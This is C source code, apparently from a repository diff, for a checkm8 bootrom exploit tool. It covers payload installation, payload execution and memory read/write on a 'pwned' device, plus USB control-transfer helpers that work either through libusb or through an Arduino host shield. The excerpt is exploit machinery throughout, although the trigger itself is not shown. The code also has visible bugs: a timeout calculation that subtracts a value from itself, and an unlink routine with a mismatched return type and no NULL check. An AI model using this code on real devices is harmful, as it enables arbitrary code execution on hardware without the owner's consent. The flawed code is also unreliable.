curr_address += 0x1000;
return ret;
}
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *curr;
for(curr = dev->installed; curr != NULL; curr = curr->next)
{
if(curr->type == p) return curr;
}
return NULL;
}
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
{
struct payload *curr;
if(dev->installed == NULL)
{
dev->installed = pl;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
curr->next = pl;
pl->prev = curr;
return CHECKM8_SUCCESS;
}
}
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
{
if(dev->installed == pl)
{
dev->installed = NULL;
return CHECKM8_SUCCESS;
}
else
{
pl->prev->next = pl->next;
pl->next->prev = pl->prev;
return CHECKM8_SUCCESS;
}
}
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
{
checkm8_debug_indent("install_payload(dev = %p, p = %i, loc = %i)\n", dev, p, loc);
int ret;
struct dev_cmd_resp *resp = NULL;
struct payload *pl = get_payload(p);
long long addr = get_address(dev, loc);
if(pl == NULL || addr == -1)
{
checkm8_debug_indent("\tinvalid args (either payload or address)\n");
return CHECKM8_FAIL_INVARGS;
}
ret = open_device_session(dev);
if(IS_CHECKM8_FAIL(ret)) return ret;
resp = dev_write_memory(dev, addr, pl->data, pl->len);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
close_device_session(dev);
return CHECKM8_FAIL_XFER;
}
checkm8_debug_indent("\tdone copying and linking payload\n");
pl->install_base = addr;
dev_link_payload(dev, pl);
free_dev_cmd_resp(resp);
close_device_session(dev);
return ret;
}
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
{
//TODO: free memory in memory allocator
return CHECKM8_SUCCESS;
}
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int nargs, ...)
{
checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
int ret, i;
struct dev_cmd_resp *resp;
struct payload *pl;
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed\n");
resp = calloc(1, sizeof(struct dev_cmd_resp));
resp->ret = CHECKM8_FAIL_NOINST;
return resp;
}
ret = open_device_session(dev);
if(IS_CHECKM8_FAIL(ret))
{
resp = calloc(1, sizeof(struct dev_cmd_resp));
resp->ret = ret;
return resp;
}
unsigned long long args[nargs + 1];
args[0] = pl->install_base;
checkm8_debug_indent("\tinstall base is 0x%lX\n", args[0]);
va_list arg_list;
va_start(arg_list, nargs);
for(i = 0; i < nargs; i++)
{
args[i + 1] = va_arg(arg_list, unsigned long long);
checkm8_debug_indent("\textracted arg %lx\n", args[i + 1]);
}
va_end(arg_list);
resp = dev_exec(dev, 16, nargs + 1, args);
close_device_session(dev);
return resp;
}
struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int len)
{
checkm8_debug_indent("read_payload(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
int ret;
struct dev_cmd_resp *resp;
ret = open_device_session(dev);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to get device bundle\n");
resp = calloc(1, sizeof(struct dev_cmd_resp));
resp->ret = ret;
return resp;
}
resp = dev_read_memory(dev, addr, len);
close_device_session(dev);
return resp;
}
struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, unsigned char *data, int len)
{
checkm8_debug_indent("write_payload(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
int ret;
struct dev_cmd_resp *resp;
ret = open_device_session(dev);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to get device bundle\n");
resp = calloc(1, sizeof(struct dev_cmd_resp));
resp->ret = ret;
return resp;
}
resp = dev_write_memory(dev, addr, data, len);
close_device_session(dev);
return resp;
}

672
c8_remote/src/usb_helpers.c Normal file
View File

@@ -0,0 +1,672 @@
#include "usb_helpers.h"
#ifdef WITH_ARDUINO
#include <termio.h>
#include <fcntl.h>
#include <unistd.h>
#include "ard_protocol.h"
#else
#include <stdlib.h>
#include <string.h>
#include "libusbi.h"
#endif
int open_device_session(struct pwned_device *dev)
{
checkm8_debug_indent("open_device_session(dev = %p)\n", dev);
#ifdef WITH_ARDUINO
// based on https://github.com/todbot/arduino-serial/blob/master/arduino-serial-lib.c
struct termios toptions;
char buf;
int ard_fd = open(ARDUINO_DEV, O_RDWR | O_NONBLOCK);
if(ard_fd == -1)
{
checkm8_debug_indent("\tfailed to open arduino device %s\n", ARDUINO_DEV);
return CHECKM8_FAIL_NODEV;
}
checkm8_debug_indent("\topened arduino device %s\n", ARDUINO_DEV);
if(tcgetattr(ard_fd, &toptions) < 0)
{
checkm8_debug_indent("\tfailed to get arduino terminal attributes\n");
close(ard_fd);
return CHECKM8_FAIL_NODEV;
}
speed_t brate;
switch(ARDUINO_BAUD)
{
case 4800:
brate = B4800;
break;
case 9600:
brate = B9600;
break;
case 19200:
brate = B19200;
break;
case 38400:
brate = B38400;
break;
case 57600:
brate = B57600;
break;
case 115200:
brate = B115200;
break;
default:
brate = B9600;
break;
}
cfsetispeed(&toptions, brate);
cfsetospeed(&toptions, brate);
toptions.c_cflag &= ~PARENB;
toptions.c_cflag &= ~CSTOPB;
toptions.c_cflag &= ~CSIZE;
toptions.c_cflag |= CS8;
toptions.c_cflag &= ~CRTSCTS;
toptions.c_cflag |= CREAD | CLOCAL;
toptions.c_iflag &= ~(IXON | IXOFF | IXANY);
toptions.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG);
toptions.c_oflag &= ~OPOST;
toptions.c_cc[VMIN] = 0;
toptions.c_cc[VTIME] = 0;
tcsetattr(ard_fd, TCSANOW, &toptions);
if(tcsetattr(ard_fd, TCSAFLUSH, &toptions) < 0)
{
checkm8_debug_indent("\tfailed to set terminal attributes");
close(ard_fd);
return CHECKM8_FAIL_NODEV;
}
checkm8_debug_indent("\tset arduino terminal attributes\n");
// read a setup verification byte
while(read(ard_fd, &buf, 1) == 0);
if(buf == PROT_SUCCESS)
{
checkm8_debug_indent("\tarduino successfully setup\n");
dev->ard_fd = ard_fd;
return CHECKM8_SUCCESS;
}
else if(buf == PROT_FAIL_INITUSB)
{
checkm8_debug_indent("\tarduino failed to init USB host shield\n");
close(ard_fd);
return CHECKM8_FAIL_NOTDONE;
}
else
{
checkm8_debug_indent("\tunexpected response %X\n", buf);
close(ard_fd);
return CHECKM8_FAIL_PROT;
}
#else
int i, usb_dev_count, ret = CHECKM8_FAIL_NODEV;
libusb_device **usb_device_list = NULL;
if(dev->bundle->ctx == NULL)
{
checkm8_debug_indent("\tbundle ctx is NULL, allocating\n");
dev->bundle->ctx = malloc(sizeof(libusb_context));
libusb_init(&dev->bundle->ctx);
}
else
{
if(dev->bundle->descriptor != NULL &&
dev->bundle->descriptor->idVendor == dev->idVendor &&
dev->bundle->descriptor->idProduct == dev->idProduct)
{
checkm8_debug_indent("\tbundle is already valid\n");
return CHECKM8_SUCCESS;
}
}
usb_dev_count = libusb_get_device_list(dev->bundle->ctx, &usb_device_list);
checkm8_debug_indent("\tfound %i USB devices\n", usb_dev_count);
dev->bundle->device = NULL;
dev->bundle->handle = NULL;
dev->bundle->descriptor = malloc(sizeof(struct libusb_device_descriptor));
for(i = 0; i < usb_dev_count; i++)
{
dev->bundle->device = usb_device_list[i];
libusb_get_device_descriptor(dev->bundle->device, dev->bundle->descriptor);
if(dev->bundle->descriptor->idVendor == dev->idVendor &&
dev->bundle->descriptor->idProduct == dev->idProduct)
{
checkm8_debug_indent("\tchecking device %i ... match!\n", i);
ret = CHECKM8_SUCCESS;
break;
}
checkm8_debug_indent("\tchecking device %i ... no match\n", i);
}
libusb_free_device_list(usb_device_list, usb_dev_count);
if(ret == CHECKM8_SUCCESS)
{
checkm8_debug_indent("\topening device and returning success\n");
ret = libusb_open(dev->bundle->device, &dev->bundle->handle);
if(ret == 0)
{
libusb_set_auto_detach_kernel_driver(dev->bundle->handle, 1);
}
else
{
checkm8_debug_indent("\tfailed to open device\n");
libusb_exit(dev->bundle->ctx);
free(dev->bundle->descriptor);
}
return ret;
}
else
{
checkm8_debug_indent("\tcould not find a matching device\n");
libusb_exit(dev->bundle->ctx);
free(dev->bundle->descriptor);
dev->bundle->ctx = NULL;
dev->bundle->device = NULL;
dev->bundle->handle = NULL;
dev->bundle->descriptor = NULL;
}
return ret;
#endif
}
int close_device_session(struct pwned_device *dev)
{
checkm8_debug_indent("close_device_session(dev = %p)\n", dev);
#ifdef WITH_ARDUINO
int ret = close(dev->ard_fd);
dev->ard_fd = -1;
if(ret == -1)
{
checkm8_debug_indent("\tfailed to close arduino fd\n");
return CHECKM8_FAIL_NODEV;
}
return CHECKM8_SUCCESS;
#else
if(dev->bundle->handle != NULL)
{
checkm8_debug_indent("\tclosing handle\n");
libusb_close(dev->bundle->handle);
dev->bundle->handle = NULL;
}
dev->bundle->device = NULL;
if(dev->bundle->ctx != NULL)
{
checkm8_debug_indent("\texiting context\n");;
libusb_exit(dev->bundle->ctx);
dev->bundle->ctx = NULL;
}
if(dev->bundle->descriptor != NULL)
{
checkm8_debug_indent("\tfreeing device descriptor\n");
free(dev->bundle->descriptor);
dev->bundle->descriptor = NULL;
}
return CHECKM8_SUCCESS;
#endif
}
int is_device_session_open(struct pwned_device *dev)
{
#ifdef WITH_ARDUINO
return dev->ard_fd != -1;
#else
return dev->bundle->ctx != NULL && dev->bundle->device != NULL &&
dev->bundle->handle != NULL && dev->bundle->descriptor != NULL;
#endif
}
int partial_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
checkm8_debug_indent(
"partial_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
#ifdef WITH_ARDUINO
char buf;
struct usb_xfer_args args;
args.bmRequestType = bmRequestType;
args.bRequest = bRequest;
args.wValue = wValue;
args.wIndex = wIndex;
args.data_len = data_len;
checkm8_debug_indent("\tsending data to arduino\n");
write(dev->ard_fd, &PROT_PARTIAL_CTRL_XFER, 1);
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived ack\n");
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_SUCCESS)
{
checkm8_debug_indent("\tsuccess\n");
return CHECKM8_SUCCESS;
}
else if(buf == PROT_FAIL_USB)
{
while(read(dev->ard_fd, &buf, 1) == 0);
checkm8_debug_indent("\trequest failed with error %X\n", buf);
return CHECKM8_FAIL_XFER;
}
else
{
checkm8_debug_indent("\tunexpected response %X\n", buf);
return CHECKM8_FAIL_PROT;
}
}
else
{
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
return CHECKM8_FAIL_PROT;
}
#else
struct timeval start, end;
unsigned char usb_transfer_buf[8 + data_len];
int ret;
gettimeofday(&start, NULL);
struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0);
libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, data_len);
memcpy(&usb_transfer_buf[8], data, data_len);
libusb_fill_control_transfer(usb_transfer, dev->bundle->handle, usb_transfer_buf, NULL, NULL, 1);
checkm8_debug_indent("\tsubmiting urb\n");
ret = libusb_submit_transfer(usb_transfer);
if(ret != 0)
{
checkm8_debug_indent("\tfailed to submit async USB transfer: %s\n", libusb_error_name(ret));
libusb_free_transfer(usb_transfer);
return CHECKM8_FAIL_XFER;
}
while(1)
{
gettimeofday(&end, NULL);
if((1000000 * end.tv_sec + end.tv_usec) - (1000000 * end.tv_sec + start.tv_usec) > timeout)
{
ret = libusb_cancel_transfer(usb_transfer);
if(ret != 0)
{
checkm8_debug_indent("\tfailed to cancel async USB transfer: %s\n", libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
}
#endif
}
int no_error_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
checkm8_debug_indent(
"no_error_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
#ifdef WITH_ARDUINO
unsigned char buf;
struct usb_xfer_args args;
args.bmRequestType = bmRequestType;
args.bRequest = bRequest;
args.wValue = wValue;
args.wIndex = wIndex;
args.data_len = data_len;
checkm8_debug_indent("\tsending data to arduino\n");
write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER, 1);
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived ack\n");
do
{
if(buf == PROT_FAIL_USB)
{
while(read(dev->ard_fd, &buf, 1) == 0);
checkm8_debug_indent("\treceived error %X but ignoring\n", buf);
}
while(read(dev->ard_fd, &buf, 1) == 0);
} while(buf != PROT_SUCCESS);
checkm8_debug_indent("\tsuccess\n");
return CHECKM8_SUCCESS;
}
else
{
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
return CHECKM8_FAIL_PROT;
}
#else
int ret;
unsigned char recipient = bmRequestType & 3u;
unsigned char rqtype = bmRequestType & (3u << 5u);
if(recipient == 1 && rqtype == (2u << 5u))
{
unsigned short interface = wIndex & 0xFFu;
ret = libusb_claim_interface(dev->bundle->handle, interface);
if(ret > 0)
{
checkm8_debug_indent("\tfailed to claim interface: %s\n", libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
}
ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len,
timeout);
checkm8_debug_indent("\tgot error %s but ignoring\n", libusb_error_name(ret));
return CHECKM8_SUCCESS;
#endif
}
int no_error_ctrl_transfer_data(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
checkm8_debug_indent(
"no_error_ctrl_transfer_data(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
#ifdef WITH_ARDUINO
int amount, index = 0;
char buf;
struct usb_xfer_args args;
args.bmRequestType = bmRequestType;
args.bRequest = bRequest;
args.wValue = wValue;
args.wIndex = wIndex;
args.data_len = data_len;
checkm8_debug_indent("\tsending data to arduino\n");
write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER_DATA, 1);
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived argument ack\n");
while(index < data_len)
{
if(data_len - index > ARD_BUF_SIZE) amount = ARD_BUF_SIZE;
else amount = data_len - index;
checkm8_debug_indent("\twriting data chunk of size %i\n", amount);
write(dev->ard_fd, &data[index], amount);
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived data ack\n");
index += amount;
}
else
{
checkm8_debug_indent("\treceived unexpected response %x\n", buf);
return CHECKM8_FAIL_PROT;
}
}
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_SUCCESS)
{
checkm8_debug_indent("\tsuccess\n");
return CHECKM8_SUCCESS;
}
else
{
checkm8_debug_indent("\tunexpected response %x\n", buf);
return CHECKM8_FAIL_PROT;
}
}
else
{
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
return CHECKM8_FAIL_PROT;
}
#else
return no_error_ctrl_transfer(dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
#endif
}
int ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
checkm8_debug_indent(
"ctrl_transfer(dev = %p, bmRequestType = %X, bRequest = %X, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
#ifdef WITH_ARDUINO
int amount, index;
char buf;
struct usb_xfer_args args;
args.bmRequestType = bmRequestType;
args.bRequest = bRequest;
args.wValue = wValue;
args.wIndex = wIndex;
args.data_len = data_len;
checkm8_debug_indent("\tsending data to arduino\n");
write(dev->ard_fd, &PROT_CTRL_XFER, 1);
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived argument ack\n");
if(bmRequestType & 0x80)
{
amount = 0;
while(amount < data_len)
{
// get the size of this chunk
while(read(dev->ard_fd, &buf, 1) == 0);
checkm8_debug_indent("\treceiving data chunk of size %i\n", buf);
index = 0;
while(index < buf)
{
index += read(dev->ard_fd, &data[amount + index], buf - index);
}
amount += buf;
}
}
else
{
index = 0;
while(index < data_len)
{
if(data_len - index > ARD_BUF_SIZE) amount = ARD_BUF_SIZE;
else amount = data_len - index;
checkm8_debug_indent("\twriting data chunk of size %i\n", amount);
write(dev->ard_fd, &data[index], amount);
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived data ack\n");
index += amount;
}
else
{
checkm8_debug_indent("\treceived unexpected response %x\n", buf);
return CHECKM8_FAIL_PROT;
}
}
}
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_SUCCESS)
{
checkm8_debug_indent("\tsuccess\n");
return data_len;
}
else
{
checkm8_debug_indent("\tunexpected response %x\n", buf);
return CHECKM8_FAIL_PROT;
}
}
else
{
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
return CHECKM8_FAIL_PROT;
}
#else
return libusb_control_transfer(dev->bundle->handle,
bmRequestType, bRequest,
wValue, wIndex,
data, data_len,
timeout);
#endif
}
int reset(struct pwned_device *dev)
{
checkm8_debug_indent("reset(dev = %p)\n", dev);
#ifdef WITH_ARDUINO
char buf;
write(dev->ard_fd, &PROT_RESET, 1);
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived ack\n");
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_SUCCESS)
{
checkm8_debug_indent("\tsuccess\n");
return CHECKM8_SUCCESS;
}
else
{
checkm8_debug_indent("\tunexpected response %X\n", buf);
return CHECKM8_FAIL_PROT;
}
}
else
{
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
return CHECKM8_FAIL_PROT;
}
#else
return libusb_reset_device(dev->bundle->handle);
#endif
}
int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len)
{
checkm8_debug_indent("serial_descriptor(dev = %p, serial_buf = %p, len = %i)\n", dev, serial_buf, len);
#ifdef WITH_ARDUINO
char buf;
int curr, ret;
struct serial_desc_args args;
args.dev_idVendor = dev->idVendor;
args.dev_idProduct = dev->idProduct;
args.len = len;
checkm8_debug_indent("\tsending data to arduino\n");
write(dev->ard_fd, &PROT_SERIAL_DESC, 1);
write(dev->ard_fd, &args, sizeof(struct serial_desc_args));
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_ACK)
{
checkm8_debug_indent("\treceived ack\n");
while(read(dev->ard_fd, &buf, 1) == 0);
if(buf == PROT_FAIL_NODEV)
{
checkm8_debug_indent("\tno device attached\n");
return CHECKM8_FAIL_NODEV;
}
else if(buf == PROT_FAIL_WRONGDEV)
{
checkm8_debug_indent("\twrong device attached\n");
return CHECKM8_FAIL_NODEV;
}
else if(buf == PROT_SUCCESS)
{
checkm8_debug_indent("\tsuccess, reading serial descriptor\n");
curr = 0;
while(curr < len)
{
ret = read(dev->ard_fd, &serial_buf[curr], len - curr);
if(ret > 0) curr += ret;
}
return CHECKM8_SUCCESS;
}
else
{
checkm8_debug_indent("\tunexpected response %X\n", buf);
return CHECKM8_FAIL_PROT;
}
}
else
{
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
return CHECKM8_FAIL_PROT;
}
#else
struct libusb_device_handle *handle = dev->bundle->handle;
struct libusb_device_descriptor *desc = dev->bundle->descriptor;
libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len);
return CHECKM8_SUCCESS;
#endif
}